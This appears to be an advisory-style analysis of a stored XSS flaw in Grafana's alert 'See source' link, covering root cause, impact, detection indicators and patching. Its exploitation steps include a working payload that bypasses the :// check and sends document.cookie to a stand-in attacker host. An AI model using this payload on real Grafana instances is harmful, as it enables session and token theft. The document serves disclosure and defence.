CVE-2026-17033: 
Grafana vulnerability analysis and mitigation

CVE-2026-17033 is a stored Cross-Site Scripting (XSS) vulnerability in Grafana OSS that allows an authenticated attacker with Editor access or the alert.instances.external:write permission to inject malicious JavaScript into the Grafana web application via a crafted external Alertmanager alert. The vulnerability was published on August 24, 2026, and affects Grafana OSS versions up to and including 12.3.11, 12.4.0–12.4.9, and 13.0.0–13.0.7. It carries a CVSS v3.1 base score of 6.8 (Medium) (GitHub Advisory, Grafana Advisory).

The root cause is improper neutralization of user-controlled input during web page generation (CWE-79). Grafana renders the alert.generatorURL field from external Alertmanager alerts directly as the href attribute of the "See source" LinkButton in the Alert Details view, without applying URL-scheme sanitization or enforcing a safe-protocol allowlist. The existing click interceptor attempts to detect unsafe URLs using a :// heuristic, but this check can be bypassed by embedding :// inside a JavaScript comment within the payload (e.g., javascript:/*://*/alert(1)). When a victim user with read access clicks the "See source" link, the browser executes the attacker-controlled JavaScript in the Grafana origin with the victim's session permissions (GitHub Advisory, Grafana Advisory).

Successful exploitation allows the attacker to execute arbitrary JavaScript in the browser of any Grafana user who clicks the malicious "See source" link, operating under that user's permissions and session context. This can result in high confidentiality impact — including theft of sensitive dashboard data, API keys, or session tokens visible to the victim — as well as low integrity and availability impacts through unauthorized modification of settings or data. The attack is scoped to the Grafana origin and does not directly enable lateral movement to other systems, but stolen credentials or tokens could facilitate further compromise (GitHub Advisory, Grafana Advisory).

No public proof-of-concept exploit code is known to exist, and there is no evidence of in-the-wild exploitation at this time. The EPSS score is 0.0, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated attacker with at least Editor-level access or the alert.instances.external:write permission, and also requires a victim user to click the malicious "See source" link, making automated exploitation unlikely (GitHub Advisory, Grafana Advisory).

1. Obtain Editor access: Acquire an authenticated Grafana account with Editor-level access or the alert.instances.external:write permission on the target Grafana instance.
2. Craft malicious alert payload: Construct an external Alertmanager alert JSON payload where the generatorURL field contains a JavaScript URI that bypasses the :// heuristic, for example: javascript:/*://*/fetch('https://attacker.com/?c='+document.cookie).
3. Submit the alert: Use the Grafana API or Alertmanager integration to submit the crafted external alert to the target Grafana instance, which stores the malicious generatorURL.
4. Wait for victim interaction: When a user with read access views the alert in the Grafana Alert Details panel and clicks the "See source" LinkButton, the browser resolves the javascript: URI.
5. Execute payload: The attacker-controlled JavaScript executes in the Grafana origin under the victim's session, enabling exfiltration of cookies, tokens, or sensitive dashboard data to an attacker-controlled server (GitHub Advisory, Grafana Advisory).

• Network: Outbound HTTP requests from a user's browser to unexpected external domains immediately after interacting with Grafana alert panels; unusual API calls to Grafana endpoints originating from user sessions shortly after alert viewing.
• Logs: Grafana access logs showing requests to alert-related API endpoints (e.g., /api/alertmanager/) from Editor-level accounts submitting alerts with unusual or encoded generatorURL values; browser console errors related to JavaScript URI execution in Grafana.
• File System / Application Data: External Alertmanager alerts stored in Grafana containing generatorURL values beginning with javascript: or containing obfuscated JavaScript comment patterns (e.g., /*://*/).
• Behavioral: Unexpected Grafana API actions (e.g., user preference changes, data source queries, token generation) performed by user accounts that did not initiate them, potentially indicating session hijacking following XSS execution (GitHub Advisory).

Grafana has released patches addressing this vulnerability; users should upgrade Grafana OSS to versions beyond 12.3.11 (patch branch), 12.4.9 (12.4.x branch), or 13.0.7 (13.0.x branch) as referenced in the security advisory. Until patching is possible, administrators should restrict Editor access and the alert.instances.external:write permission to only fully trusted users, and educate users to exercise caution when clicking "See source" links on alerts from unfamiliar sources. Disabling external Alertmanager alert ingestion where not required is an additional risk-reduction measure (Grafana Advisory, GitHub Advisory).